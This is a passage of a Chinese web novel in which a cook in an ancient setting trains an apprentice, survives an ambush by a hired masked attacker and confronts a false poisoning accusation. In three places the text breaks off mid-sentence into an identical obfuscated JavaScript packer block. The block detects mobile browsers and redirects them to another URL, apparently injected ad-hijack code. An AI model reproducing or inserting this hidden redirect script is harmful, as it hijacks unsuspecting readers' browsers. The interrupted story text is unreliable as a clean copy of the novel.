王山瞧着眼前这一幕，满心欢喜，不住点头，“好好好，小鱼能您这样的师父，是她的造化。” 拜师礼成，林窈邀请爷孙俩留下用饭，“王大爷，阿鱼，今儿个这大喜的日子，可一定要留下吃顿饭！”这是她在这个世界收的第一个徒弟，得好好庆祝一下，她准备做几道老少咸宜的菜。 思索再三，林窈决定做锅包肉、烤鸡、猪骨汤再加上家里的卤猪下水。 打定主意后，林窈便带着王小鱼一头扎进灶房，学习从现在开始！ 进了灶房，林窈先将野鸡腌制好，交代林诚两刻钟后便可拿去烤。她自己则将做锅包肉的食材一一取出。 林窈拿出一块肥瘦相间的猪肉，切成均匀的薄片。她一边切，一边讲解，“阿鱼，这道菜叫锅包肉，做这道菜切肉的刀工很重要，片得太薄容易碎，太厚又不容易炸透，要像这样厚薄适中才行。”王小鱼睁着大眼睛，全神贯注地看着。 把肉片切好，便可以开始腌制，她往里面放入些许浊酒去腥，再撒上一小撮盐增添底味。 王小鱼凑近了些，仔细观察着林窈的动作，“师父，为何要放酒？” 林窈动作一顿，她倒是忘记了，现在这个时代，酒在人们认知里，大多是家中爷们闲暇时消遣的玩意儿，极少有人会将其用于烹饪，她解释道：“酒能去除肉的腥味，还能增加肉的香味。” “原来如此。”王小鱼恍然大悟地点点头。 林窈腌制好肉片后，又拿出一个碗，往里面打入一个鸡蛋，用筷子快速搅拌均匀，制成蛋液。“接下来，我们要给肉片裹上一层蛋液和淀粉，这能让炸出来的锅包肉外皮更加酥脆②。”林窈说着，指了指一旁碗中装着的淀粉，“这便是淀粉。” 林窈将蛋液倒入盛有肉片的碗中，再次搅拌，让每一片肉都沾上蛋液。随后，她撒上红薯淀粉，用手轻轻抓拌，直到肉片表面都裹上一层薄薄的淀粉。“看，就像这样，淀粉不能太多也不能太少，太多的话炸出来会很厚很硬，太少又无法形成酥脆的外壳。”林窈展示着手中的肉片。 王小鱼点点头，默默记在心里。 “下一步便是炸肉，这炸的火候和时间是最重要的。”林窈一边说着，一边让王小鱼往炉灶里添柴。 林窈用筷子夹起裹好淀粉的肉片，小心地放入锅中。“这时候火无需太大，不然肉表面很快就焦了，里面却还没熟。”林窈目不转睛地盯着锅中的肉片。 过了一会儿，林窈用筷子轻轻翻动着肉片，让它们均匀受热。当肉片的颜色变成淡淡的金黄色时，她将肉片捞出，控油放在一旁。“这是第一遍炸，先把肉炸至断生。”林窈说道。 紧接着，她又将锅中的油再次烧热，把刚才炸过一遍的肉片重新倒入锅中，进行复炸。这一次，油温比刚才更高，肉片锅，颜色迅速变得金黄酥脆。 “复炸的时间要短一些，主要是为了让肉片的外皮更酥脆。”林窈一边说着，一边用漏勺将炸好的锅包肉捞出，控干油后，盛放在盘中。 她拿起事先调好的糖醋汁，另起一锅，将糖醋汁倒入锅中，小火加热。随着温度的升高，糖醋汁开始冒泡，变得浓稠起来。林窈迅速将炸好的锅包肉倒入锅中，快速翻炒，让每一片肉都均匀地裹上糖醋汁。 林窈抹了抹额前的汗水，继续翻炒，“这最后一步也很关键，动作要快，不然肉就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128514|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不酥脆了。”王小鱼在一旁看得入神，连连点头。 不一会儿，一道色泽红亮、酸甜可口的锅包肉就做好了。林窈将锅包肉盛在盘子里，放到一旁。 王小鱼从来没有见过这样的做菜手法，这道叫做锅包肉的菜，闻起来酸甜诱人，浓郁的香味充斥着她的鼻腔，她没忍住咽了咽口水。 王小鱼一瞬不瞬地盯着林窈手上的动作，这般新奇独特的做菜手法，她别说见识过，连听都未曾听闻。那名为锅包肉的菜肴，在锅里翻滚、烹炸，酸甜诱人的香气直往她鼻腔里钻，她没忍住咽了咽口水。 林窈看着王小鱼难得露出这副模样，不禁轻声笑了出声，王小鱼登时闹了个大红脸。 林窈笑意未减，“拿出去吧，我再煮个汤，咱们就可以开饭了。” “是，师父。”王小鱼端起菜，快速走出了灶房。 接下来，就是猪骨汤。猪骨便宜，但有营养，猪骨中含有一定量的蛋白质和矿物质③。这些蛋白质对于身体的生长、维持骨骼强度都非常重要④。林窈看了眼院子中的几人，老的老、小的小、弱的弱，猪骨汤是他们现在能喝的，性价比最高的补汤了。 林窈将早已备好的猪骨从盆中捞出，放入锅中，倒入足量的清水，没过猪骨。然后，她往炉灶里加入木柴，静静地等待着水慢慢烧开。 土灶火力旺，不多时，锅中的水开始咕嘟咕嘟地冒泡，白色的浮沫渐渐浮上水面。林窈迅速拿起汤勺，小心翼翼地将浮沫撇去。撇完浮沫后，林窈把案板上的胡萝卜、姜片一股脑儿地丢进锅中。 锅中的汤再次沸腾，林窈把汤水盛到碗中，“汤也好了！” 这边，林诚的烤鸡也大功告成。烤鸡色泽红亮，油光泛泛，表皮微微焦香。林诚将烤鸡盛放在盘中，端到摆于院子里的桌子上，又折回灶房，把一直用小火温着的卤猪下水舀出。 今日王小鱼拜师，林诚将灶房里的桌子搬到院子当中。夕阳西下，微风轻拂，在院中用餐，倒别有一番悠然的趣味。 “这也太好吃！”林崧人小胃口大，腮帮子一鼓一鼓。 “慢点吃，没人和你抢。”林窈看着林崧的吃相，不禁觉得有点好笑。她夹起一块色泽金黄、外皮酥脆的锅包肉，放入自己碗中，轻轻咬上一口，酸甜的味道在口中散开，伴随着酥脆的口感，让她也忍不住微微眯起了眼睛——就是这个味儿！ 王小鱼和王山坐在一旁，望着这一桌丰盛的菜肴，神色间带着几分拘谨。王山倒还好，儿子儿媳在世时，家里也曾有过一段好日子，可王小鱼却是头一回见如此色香味俱全，更别说尝了。 林窈察觉到爷孙俩的局促，赶忙开口，“大爷，阿鱼，你们千万别客气，放开了吃。阿鱼是我收的第一个徒弟，往后咱们就是一家人了。快尝尝，看看合不合口味。” 听到这话，爷孙俩这才稍稍放松了些。 王小鱼首先夹了一块锅包肉，她早就好奇这肉到底是什么味道。王小鱼将肉送入口中，牙齿轻轻一咬，“嘎吱”一声，那酥脆的外皮应声而裂，紧接着酸甜的酱汁在舌尖上散开，浓郁的味道瞬间充斥口腔，随之而来的是满满的肉香，多种滋味交织在一起。 王小鱼的眼睛瞬间亮了起来，脸上露出惊喜的神情，含糊不清地说道：“这肉的味道好特别，我从未没吃过这么好吃的肉。”说着，她又忍不住再咬了一大口，细细品味着其中的美妙。 王大爷看着孙女吃得这般开心，也夹起一块锅包肉尝了尝。肉一入口，她越发觉得让孙女拜林小娘子为师是无比正确的决定，不住地赞叹，“林小师父的手艺真不是一般的好。” 这一顿饭吃得五人心满意足，肚儿溜圆。 21. 蒙面人 “你这老头倒是个有福气，阿鱼拜了林小娘子做师父，日后就要做大厨哩！”李大娘一脸艳羡，只可惜她家的小子年纪大了些，早就过了拜师学艺的年纪。 她是由衷地为王山爷孙高兴，街坊邻里相处几十年，彼此都知根知底。王山家这些年过得着实不易，如今阿鱼能跟着林小娘子学厨艺，寻得好前程，往后的日子有了盼头。 “这还是得多谢林小师父愿意教导阿鱼。”王山满脸笑意，将今日备好的馍馍放下，言辞间满是感激。 王小鱼今日开始跟着林窈出摊，她从篮子里拿出馍馍，学着林窈刚刚的手法，在馍馍中央切开一道小口。 林诚今儿一大早便帮着把摆摊所需物品挑到码头，随后背着背篓往山上去了。这是他和林窈提前商量好的安排，往后有阿鱼来帮忙，林诚就负责每日往返码头搬运物品，其余空闲时间，他便上山打猎、挖草药，这样一来，家里便能多一份收入，日子也能宽裕些。 摊位前，林窈翻炒着炒饭，王小鱼则负责肉夹馍。初来乍到，王小鱼手法还有些生涩，夹肉时不是放多了，就是搁少了。林窈在一旁看顾着，时不时提点一二。 林崧也没闲着，抱着林诚专门做来装铜板的小篓子，像小蜜蜂一样在人群中跑来跑去，忙得不亦乐乎。 忙了一上午，王小鱼只觉腰酸背痛，这活儿看似不难，可奈何客人络绎不绝，鲜少有能歇口气的时候，着实把人累得够呛。 “阿鱼，累坏了吧？”林窈端着三碗炒饭走过来，每碗上面都铺着满满一层卤猪下水，色泽诱人，香气扑鼻，“快，趁热吃点儿。” 王小鱼赶忙接过碗，迫不及待地往嘴里扒了一大口饭。从今天干活起，她就被这股香味勾得直咽口水。 少了林诚这个劳动力，三人忙得晕头转向，饭一到手，没多会儿就风卷残云般吃完了。 饭后，林窈和王小鱼稍作休息，便收拾好摊位上的东西，在码头上等着林诚前来接应。 可是等了一个时辰，日头逐渐高悬，却始终不见林诚的身影。两人望着远处的山路，心中渐渐泛起一丝不安。 林窈越等越觉得情况不对，心里隐隐担忧林诚在山上遭遇了意外。她交代王小鱼和林崧守好码头的摊子，自己则快步朝着山林方向赶去。 正值晌午，本就是一天中最热的时候，也是大家休息的点儿，路上行人稀少。林窈心急如焚，脚步愈发急促。 林窈越走越快，路过一片竹林时，突然窜出来一个带着黑色面巾的蒙面人。那人二话不说，脚步一错，迅速欺近林窈，赤手空拳便朝着她的面门击来。 林窈心中一惊，本能地侧身一闪，那带着风声的拳头擦着她的脸颊划过，激起她鬓边几缕发丝飞扬。 “你是谁？为何要对我下手！”林窈大声质问，同时把手伸进了随身背的小布袋中，布袋里装着她每日必备的面粉，还有前些日子兄长去镇上采买时特意给她带回来的小刀。 她可不是轻易会吃第二次亏的人。胡氏上次敢找上门来闹事，就说明他们做生意的消息已经捂不住了。林家大房本就觊觎他们家的生计，有过歪心思，她怎会毫无防备。 蒙面人并不答话，双手成爪，直取林窈的咽喉。 林窈心中大骇，生死关头，她来不及多想，下意识地双臂交叉，只觉一股大力传来，震得她双臂发麻，没忍住倒退几步。 那蒙面人更是步步紧逼。 千钧一发之际，林窈瞅准时机，猛地将手中的面粉朝着蒙面人全力扬去。雪白的面粉瞬间在空气中弥漫开来，形成一片白茫茫的雾障，遮蔽了那人的视线。趁着这间隙，林窈转身朝着另一个方向拔腿狂奔。只是不过须臾之间，面粉便在风中渐渐消散，蒙面人快速拉近了与林窈的距离， 蒙面人伸手抓住林窈的肩膀，把她往竹林边一扔，林窈的身体不受控制地飞了出去，重重地撞在一棵粗壮的竹子上。她只觉后背一阵剧痛，仿佛骨头都要被撞碎了，一口鲜血从嘴角溢出。 还没等她缓过神来，蒙面人已经大步流星地走到她面前，居高临下地看着她，“我不杀你，我只要你这只两只手。”蒙面人抬起脚，狠狠地踩住林窈的右手，一阵钻心的剧痛瞬间传遍林窈的全身，她忍不住发出一声凄厉的惨叫。 “啊——是谁让你这么做的！我出双倍价钱！求你放过我！”林窈咬紧牙关，豆大的汗珠从额头滚落，她的双眼因为剧痛而布满血丝。 蒙面人不为所动，脸上没有丝毫表情，眼神冷漠得如同寒冰。他加大了脚下的力度，林窈的右手骨骼在重压之下发出令人心悸的“咔咔”声。 “三倍！我出三倍价钱！”林窈强忍着疼痛，与蒙面人斡旋。 蒙面人听到这话，眼中闪过一丝犹豫，手上的动作顿了顿。林窈见那蒙面人有所迟疑，立刻掏出袋子里的小刀，用尽全身力气狠狠扎向蒙面人的腿。小刀直直没入，蒙面人发出一声痛苦的惨叫，身体不受控制地晃了晃。 “你这臭丫头，竟敢伤我！”蒙面人怒吼着，脸上满是愤怒与狰狞，他扬起手，就朝林窈的脑袋重重扇下。林窈下意识地一侧头，但还是没有躲过，那带着风声的手掌落在她的脸颊上，激起一阵火辣辣的疼。 只是蒙面人也因为牵扯到大腿的伤口，身体一晃，摔倒在了地上。林窈不敢耽搁，连滚带爬地离开这个地方。她的心跳如鼓，双腿发软，凌乱的头发在风中乱飞，脸上的汗水和泪水混在一起，模糊了视线。 林窈的胸口因为剧烈的跑动而绞痛，但身后传来蒙面人痛苦呻｜吟，求生的本能让她不敢有丝毫懈怠地往前跑。 突然，三匹马从另一旁的小道上疾驰而出，马上的人一身劲装，逆着光让人看不清脸。 林窈心中一惊，来不及停下，直直地朝着其中一匹马冲了过去。幸而那人反应极快，迅速勒紧缰绳，马匹前蹄高高扬起，发出一声嘶鸣，在距离林窈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133761|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅有一步之遥的地方停了下来。 林窈虽然没有和马撞上，但也是结结实实摔了个狗吃屎。但是她却大大松口了一口气，因为她看清了马背上的人，是许之珩。 “吁——”许之珩翻身下马，把她从地上扶了起来。 看着林窈狼狈的模样和脸上的伤痕，许之珩心里很是惊讶，一个卖饼的小娘子能和什么人有这么大的仇怨，“林小娘子，怎的如此慌张？” “杀…杀人了，有人要杀我，不…不是，他要废了我的手！”许之珩脸色瞬间变得凝重起来，他拍了拍林窈的肩膀，试图让她镇定下来，“别怕，林小娘子，你且慢慢说。” 林窈接连深吸好几口气，胸口剧烈起伏着，努力平复翻涌的情绪，试图让自己镇定下来。她声音还有些发颤，“我也不知道他是何人，我去寻兄长，走着走着，一个蒙着面的人冷不丁就从竹林里窜了出来。上来就对我动手，说是有人出了钱，雇他来废了我的双手。” 说到兄长，林窈心中一紧，还有林诚！林诚不知道怎样了，“求许公子帮我寻阿兄，我可以出钱！阿兄今日进山挖草药了，我与阿兄约定午时便来码头接我与阿弟，只是等了许久都未见人来，我怕阿兄……” 许之珩看着林窈焦急又害怕的模样，心中有些不忍，安抚道：“林小娘子莫要着急，我定会帮你找到令兄。你先镇定下来，仔细想想，令兄平时进山挖草药，一般会在哪个方位？” 林窈努力回想了一下，说道：“阿兄一般会去东边那片山林，那里草药多些。只是那片林子很大……” “无妨，我先与你到镇上看大夫，不然你这手怕真实要废了”，许之珩转头看向身旁的同伴，“金玉、满堂你们俩去林中寻林家兄长。” 一路在马背上颠簸，但是林窈的头脑却慢慢冷静下来，她细细思索着蒙面人的每一句话、每一个动作，试图从中找出一些线索。 “有人出了钱，要他废了我的双手……”林窈在心里反复默念着这句话，她实在想不通自己究竟得罪了什么人，会招来如此狠厉的报复。她只是一个普通得不能再普通的农家女，平日里也从未与人结下过深仇大恨。 除了林家大房。 只是现在无凭无据，她也不能仅凭一张嘴就说是他们做的。 到了医馆，许之珩先下了马，然后将林窈扶了下来。“林小娘子，先让大夫给你仔细瞧瞧。”许之珩说道。 林窈点了点头，医馆里弥漫着一股淡淡的药香，让她的心渐渐安定下来。 大夫仔细地为林窈检查了伤口，“姑娘这伤要好好养着，近日不可提重物。”大夫说道，“这人要是下手再重些，姑娘这手怕是要废了。” 上完药，大夫又开了几副药，结账的时候，林窈都忍不感叹着古代的药真是贵，整整花了她一两银子，这几日的营收都搭进去了。 许之珩看她那一脸肉痛的样子，不禁觉得有点好笑，真是个财迷。 22. 魔芋爽 “还有一事，得劳烦许公子帮忙。”林窈神色略微不自在，人家出于好心搭救自己，自己却还要接着麻烦对方，实在有些过意不去。 许之珩瞧她这么快便调整好了情绪，不禁心生好奇，想知道她还有什么事，“但说无妨。” “今日我遭此横祸，绝不能任由歹人逍遥法外。我往那蒙脸人腿上扎了一刀，他必定得找大夫医治，只要去镇上医馆打听一番，定能找出受此伤的人。且那刀是在吴家铁匠铺买的，仵作对比伤口，便能确定是不是今日行凶的歹徒。”林窈神色镇定，条理清晰地说道。 这下，许之珩倒是真的觉得意外，这小娘子瞧着比自己小三四岁，可遇事竟如此冷静，思维还这般缜密，实属难得。 “好。”许之珩应下，半开玩笑道，“只是这般，林小娘子欠我的人情可就更多了。” “许公子救命之恩，林窈没齿难忘。日后许公子若有所需，林窈定当全力以赴。”林窈一脸认真，言辞恳切。 许之珩没把这话放在心上，摆摆手，“走吧，去晚了，衙门可就没人了。” 林窈和许之珩从衙门出来的时候，太阳已经西沉，天边被染成了一片橙红色。许之珩把林窈送了回家，在林家门口遇到了正在对打的金玉和满堂。 看到许之珩，两人同时停下了手中的动作，齐声唤道，“郎君。” 满堂抬手理了理因切磋而有些凌乱的衣衫，“郎君，我们寻到林家郎君时，他被人打晕，扔在了山洞里。”顿了顿，又补充道，“我们已带他去看过大夫，诊费、药钱一共花了一百八十文。” 林窈听到前半句，心猛地一揪，抬脚就想进屋去看林诚的状况。可听到后半句，又立刻停下脚步，“公子稍候，我马上取钱。” 许之珩此刻难得有些不自在，毕竟他平日里要装成视财如命的纨绔模样，手下人这般市侩，倒也符合人设。他摆了摆手，说道：“不急不急，你慢慢去便是。” 林窈快步走进房中，翻出平日里藏铜板的布袋，仔细数出一百八十文，匆匆拿出去递给许之珩，“今日我兄妹二人的性命，皆是公子所救。往后公子若来我家，所有吃食一概免费。” 许之珩利落翻身上马，“那便多谢小娘子了！”言罢，许之珩带着金玉和满堂转身离去。直到这时，林窈才有空与屋内眼巴巴盼着的三人说话。 林诚在一旁等着，心里早就一肚子疑问，“阿窈，你这是怎么弄成这样的？” 林窈便又将今日发生的事情原原本本跟他们讲了一遍。林诚听完，一拳重重砸在桌上，“没想到，大伯一家竟如此歹毒！往后我定要常伴你身边，若你有个三长两短，我如何向阿爹阿娘交代。” 王小鱼赶忙打了一盆热水过来，给林窈擦脸。听到林窈的讲述，也是义愤填膺：“实在可恶！都说血浓于水，他们竟能狠心至此。” “人心最是叵测。”林窈看着自己的伤口，微微失神。 林窈的手受伤了，这几日既没法准备出摊的食物，也做不了饭。 林诚本想一人扛起做饭和出摊的活儿，可一个人实在分身乏术。王小鱼见状，便想留在林家服侍，还说师父受伤，做徒弟的理应侍奉在旁。 林窈好说歹说，才劝住了王小鱼，只让她这段时间每日饭点过来做一顿饭，顺便自己也能指点一下她的厨艺。 吃过晚饭，洗漱完毕，林窈坐在床边，一边给自己手上的伤口上药，一边暗自思忖，这段时间手受伤，不能赚钱，这可如何是好？对她而言，没法赚钱就像上刑一样难受。 林窈脑海中灵光一闪，想起前几日做的魔芋豆腐。这魔芋豆腐制作简单，她只需把做法告诉兄长和阿鱼，做好后再用调料一拌，便能拿去卖。 想到这儿，赚钱的法子算是有着落了，林窈心里也安稳了许多，慢慢进入了梦乡。 ～ 翌日，林诚早早就上山去挖魔芋。 林窈则留在家里，摆弄卤猪下水的卤汁。这卤汁已经用了好些时日，味道渐渐淡了下去。她让兄长在镇上购置了一些药材，此刻，正准备重新调制这卤汁。 不到半个时辰，林诚就挖了一背篓鬼芋回来。 林诚前脚刚跨进家门，后脚王小鱼也到了。两人默契地开始动手，把背篓里的鬼芋一一拿出，放在水盆边清洗、削皮。 待鬼芋处理得差不多了，林窈停下手中的活儿，“我们要用这鬼芋做一道新吃食，叫做魔芋豆腐。” 林诚和王小鱼闻言，同时停下手中的动作，看向林窈。林窈用左手拿起一个削好皮的鬼芋，“首先，要用石磨把这鬼芋磨成浆。” 林家二房在林长康还在的时候，日子虽不算大富大贵，却也温馨和睦。林长康是个极疼爱儿女、珍惜妻子的好丈夫。他在城里一户人家做工时，看到那户人家用豆子磨出汁水煮熟来喝。听丫鬟们说，这汁水女子喝了美容养颜，孩童喝了身体康健，便攒钱买了个石磨。 只是后来，林长康替兄从军，生死不明，林家二房被分了出来，日子艰难得连基本的温饱都成问题，更别说折腾这些东西了，那石磨便极少使用了，自上次做完魔芋豆腐也有一些时日了，石磨上又积满了灰尘。 林诚看着眼前这布满灰尘的石磨，心中五味杂陈。林窈看着林诚的神情，心中也不好受，她轻轻拍了拍林诚的肩膀，：“阿兄，我们来做魔芋豆腐吧。等以后阿爹回来，我们也做给他吃。” 林窈把一个削好皮的鬼芋放入石磨的进料口，林诚开始推动石磨的磨盘。随着磨盘的转动，鬼芋被一点点磨碎，白色的芋浆缓缓从磨盘边缘流出，滴落在下方的木盆中。 接着，王小鱼接替了林窈的工作，在一旁帮忙往进料口添加鬼芋。待盆中的芋浆积攒了不少后，林窈说道：“接下来，要加入适量的草木灰。这草木灰的量很关键，多了少了都会影响魔芋豆腐的口感。” 她一边说着，一边往盆中倒入石灰水，“快速搅拌，一直搅拌到这浆变得浓稠。”林诚在一旁卖力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137829|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搅拌，直到那浆变得如膏状一般浓稠，才停下来。 “大概等上一两个时辰，这魔芋豆腐就成型了。成型后就可以切成块，用清水泡着，想吃的时候再拿出来烹饪。不管是炒着吃、煮着吃还是凉拌，味道都很是独特。”林窈笑着说道。 等待的间隙，林窈带着王小鱼去调制一会拌魔芋豆腐的酱料。 林窈这次想试着看能不能复刻人类猫条——魔芋爽！ 魔芋爽里最关键的就是红油汁，首先是准备干料，林窈拿出香叶、桂皮、葱、茱萸和香菜，这会儿辣椒还没普及，所以只能在干料里加入茱萸增加辣味。 林窈又从拿翻出了花椒，让林诚用石钵研磨成花椒粉。她准备做两个版本，一个是香辣，一个是麻辣，这花椒粉就是为麻辣魔芋准备的。 锅中的水汽随着温度的上升迅速蒸发，猪油迅速融化，升温，她把准备好的干料倒入锅中。香叶、桂皮、葱段、茱萸和香菜在热油中翻滚，释放出浓郁的香味。 林窈盯着锅中的情况，提醒林诚，“阿兄，搅一搅，别让料糊了。” 王小鱼在一旁看得目不转睛，鼻子使劲儿地嗅着空气中弥漫的香味，“师父，这也太香了。” 锅中的干料颜色渐渐变深，香味也愈发浓郁。林窈让林诚把干料捞出，“炸制的时间不宜过长，否则味道就会发苦。先舀出一部分这油和料来，这是做香辣味的基础。” 林诚小心地舀出了油料，盛放在碗中。林窈又往碗里添了些白芝麻，搅拌均匀，让白芝麻充分吸收油香，随后倒入其中一盆魔芋中。 王小鱼接过林窈手中的筷子，快速搅拌起来。 这边，林窈又指挥林诚继续在锅中操作。“阿兄，把剩下的那些花椒粉都倒进去，做成麻辣味的。”随着花椒粉倒入锅中，一股麻意十足的香气升腾起来，与之前的香味混合，层次更加丰富。 随后，林诚把麻辣料油倒入另外一盆魔芋。 这时，香辣魔芋已经做好了，王小鱼装出三碗魔芋，递给了林窈、林诚，又转身把第三碗递给在一旁眼巴巴望着的林崧，林窈接过碗，“阿鱼，你也快尝尝。咱们做厨子的，得先知晓这味道，往后才能做出更多好菜来。” 王小鱼忙不迭地点头，也给自己盛了一碗。 林诚搅拌完后，端起来就吃了一大口，霸道的辣味把他呛得直咳嗽，但这味道却叫人上瘾，缓了缓，又往嘴里塞了一口，“这辣得太过瘾了！ 王小鱼也在一旁不住地点头。 当然，这在二十一世纪可是被称作人类猫条，吃了一包就想吃下一包。 林诚咽下一大口魔芋爽后问林窈，“阿妹，这道菜叫什么？” 林窈说：“叫魔芋爽。” “这名字好，如这名字一般，吃起来很是舒爽！”林诚笑道。一旁一直没有出声的林崧也吃得小脸红扑扑的，嘴上嘶哈嘶哈，但是手上动作却不停。 这边林家其乐融融，码头上却是闹翻天了。 23. 滑胎 “天杀的，这林小娘子做的菜吃出人命了啊！我娘子昨日在这买了一份卤猪下水与馍馍，今日就腹痛难忍，可怜我那三个月大的孩儿，就这样生生地疼没了。”一个中年男人在林窈平时摆摊的位置哭嚎。 周围很快围拢了一群人，大家交头接耳。 “哎呀，真的假的？林家小娘子看着挺本分的，怎么会出这种事？” “谁知道呢，这万一要是真的，那可是一条人命啊！。” 今日林窈一家没有摆摊，摊位上的是上回占了林窈摊位的孙大富，“你可别在我这嚎，我可不是那心思毒辣的林小娘子，我姓孙！他们家今日可没出摊。” “什么！竟是没有出摊，怕不是知晓自己做的吃食害了人，心里发虚躲起来了吧！”那中年男人一听孙大富的话，怒目圆睁，越发大声地叫嚷起来，“大家可都给我评评理，这等黑心之人，做出害人性命的吃食，如今却想一走了之，哪有这么便宜的事！” 听到那汉子说的话，四周的人也开始有所怀疑。 “怕不是这林家小娘子真有问题，不然怎么不出摊呢？” “就是就是，这要是没做亏心事，干嘛要躲起来？” “唉，可惜了那未出生的孩子，就这么没了，真是造孽啊。” 孙大富看着围拢的人群越来越多，心中暗自得意，脸上却装出一副正义凛然的样子，“各位乡亲，我孙某虽然占了这摊位，可和林家那帮人有着天壤之别。我做的全是良心买卖，童叟无欺。往后大家要是想吃东西，放一百个心，尽管来我这儿，出了问题，我孙某担着！” 人群中的王山听到这些议论，心急如焚，林窈明明是因为昨日遭人袭击，才没法出摊，哪是什么畏罪潜逃。王山从人群中挤出来，匆匆交代李大娘帮忙照看一下自己的摊子，匆匆往林窈家的方向去了。 林家。 林窈三兄妹正和王小鱼围坐在一起，四人中间是一大盆魔芋爽，你一筷子我一筷子，吃得那叫一个不亦乐乎。突然，一阵急促的敲门声“砰砰砰”地响起，四人的动作一顿，林诚放下手中的筷子，快步走去开门。 只见门外站着气喘吁吁的王山，他双手撑着膝盖，大口喘着粗气，断断续续地说道：“出……出大事儿了。” 林诚忙把人迎进了屋，林窈听到动静，也从灶房走了出来。王山瞧见林窈半边脸高高肿起，手上还缠着绷带，着实惊了一跳。昨日阿鱼归家说林小娘子受伤了，说林小娘子受伤，要过来照看，却没提伤势这般严重。 王山坐到椅子上，顺了顺气，“今日码头来了一个汉子，说他家娘子吃了你们铺子里的东西后，腹痛如绞，竟还小产了。他还四处嚷嚷，说你们今日不出摊，是心里有鬼，在吃食里放了见不得人的东西，躲起来了！” “欺人太甚！”林诚怒目圆睁，拳头紧握，“我们家的吃食向来干净卫生，怎么可能会出这种事！这分明是有人在故意栽赃陷害！” 林窈站在一旁，神情却没有太大的变化，她早知道事情没有这么简单。背后的人根本不只是想伤她的手，伤了她的手，她还有嘴，还能说话，一样能指挥林诚做吃食，也能教导徒弟。 回想起昨日，那蒙面人应是冲着彻底废掉她的双手、重伤她而来，打的是让林家陷入混乱、无暇顾及码头生意的主意。如此一来，便能趁乱找人污蔑，哪怕日后林家再去摆摊，旁人也会对他们食物的干净与否心存疑虑，不再轻易光顾。 思索间，林窈转身快步走进房间，取出荷包，对王小鱼说道：“阿鱼，这里有一两银子和一些铜板。你陪着王大爷，赶紧坐牛车去镇上，找广元堂的陈大夫。跟他说码头有人因食物中毒，导致小产，务必请他前来医治，这是定金。” “好，我这就去。”王小鱼结果银子，急忙出门去。 “阿兄，你随我去码头。崧儿，你去大壮哥家里呆着，我们去去就回。”林窈迅速安排好一切，和林诚往码头去了。 林窈和林诚赶到的时候，果然看到一群人围在一起，那个汉子正站在中间，大声哭诉着自己怀孕三个月的媳妇是如何腹痛难忍，失去孩子后又是如何痛心。 看到林家兄妹，那人明显愣住了，但眼中很快闪过一丝凶狠，“你们还敢来！今天必须给我一个说法，不然我跟你们没完！” 四周的人都围在这里看热闹，对着林家兄妹指指点点。 “就是他们家的吃食，听说吃了会让人小产呢，太可怕了。” “哎呀，看着这几个孩子也不像会做坏事的人啊，怎么会出这种事？” “谁知道呢，人心隔肚皮，说不定表面上看着老实，背地里却干些缺德事儿。” 林窈深吸一口气，向前一步，：“这位大哥，我们家的吃食一直都是干干净净、用心制作的，绝不可能有问题。您口口声声说您娘子吃了我们家东西才出事，那不知可有真凭实据？” 那汉子瞪着林窈，怒声道：“证据？我娘子就是吃了你家的卤猪下水和馍馍，今儿个一大早便腹痛得死去活来，连肚子里的孩子都没保住，这不是铁证如山是什么？你们今天不敢出摊，不就是心里有鬼？” 林窈闻言，并不动怒，反而提高了音量，“各位乡亲，大家仔细瞧瞧我。”说着，她将高高肿起的脸转向众人，又抬起缠着绷带的手晃了晃，“我们家今日没出摊，是因为我和兄长昨日遭了歹人的毒手。我的手受伤严重，如今连菜都切不了。事发后，我们第一时间就去衙门报了官，各位若心存疑虑，大可随我一道前往衙门查证，一看便知真假。” 林窈对着那汉子继续说道：“我知大哥痛失孩儿，心里必定悲恸万分，可这真不是我们家吃食的问题，凡事不能凭您空口白牙就盖棺定论。” 她看向周围的人，“当然，我也清楚，光凭我一张嘴，大家未必能信。所以，我已经让徒弟去请广元堂的大夫了。今日，凡是在我们摊位买过吃食的乡亲，都能免费让大夫把脉，彻彻底底检查一番，看看我们家的吃食到底有没有毒！” 广元堂是白玉镇最大的医馆，每年都会举办义诊，在白玉镇村民心里简直就是活菩萨，信誉度极高。 “这林家小娘子说得在理，不能就这么冤枉人家。” “是啊，还请了广元堂的大夫，看来是有底气的，要是真有问题，哪敢这么做。” “可那人的娘子小产了也是事实，万一真是吃了林家的东西呢？” “别瞎说了，等大夫来了不就知道了。” 那汉子听着周围的声音，脸色一阵红一阵白，心中也有些发虚。 